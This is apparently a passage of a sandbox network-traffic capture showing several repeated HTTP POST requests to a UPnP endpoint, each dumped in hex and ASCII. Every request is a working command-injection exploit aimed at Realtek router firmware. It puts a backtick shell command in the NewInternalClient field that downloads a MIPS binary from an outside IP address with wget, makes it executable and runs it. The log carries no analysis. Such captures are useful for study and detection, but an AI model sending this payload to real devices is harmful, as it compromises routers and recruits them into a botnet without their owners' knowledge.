                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:35.545732021 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:37.469620943 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:41.369636059 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:49.049428940 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:04.408895969 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.895998001 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
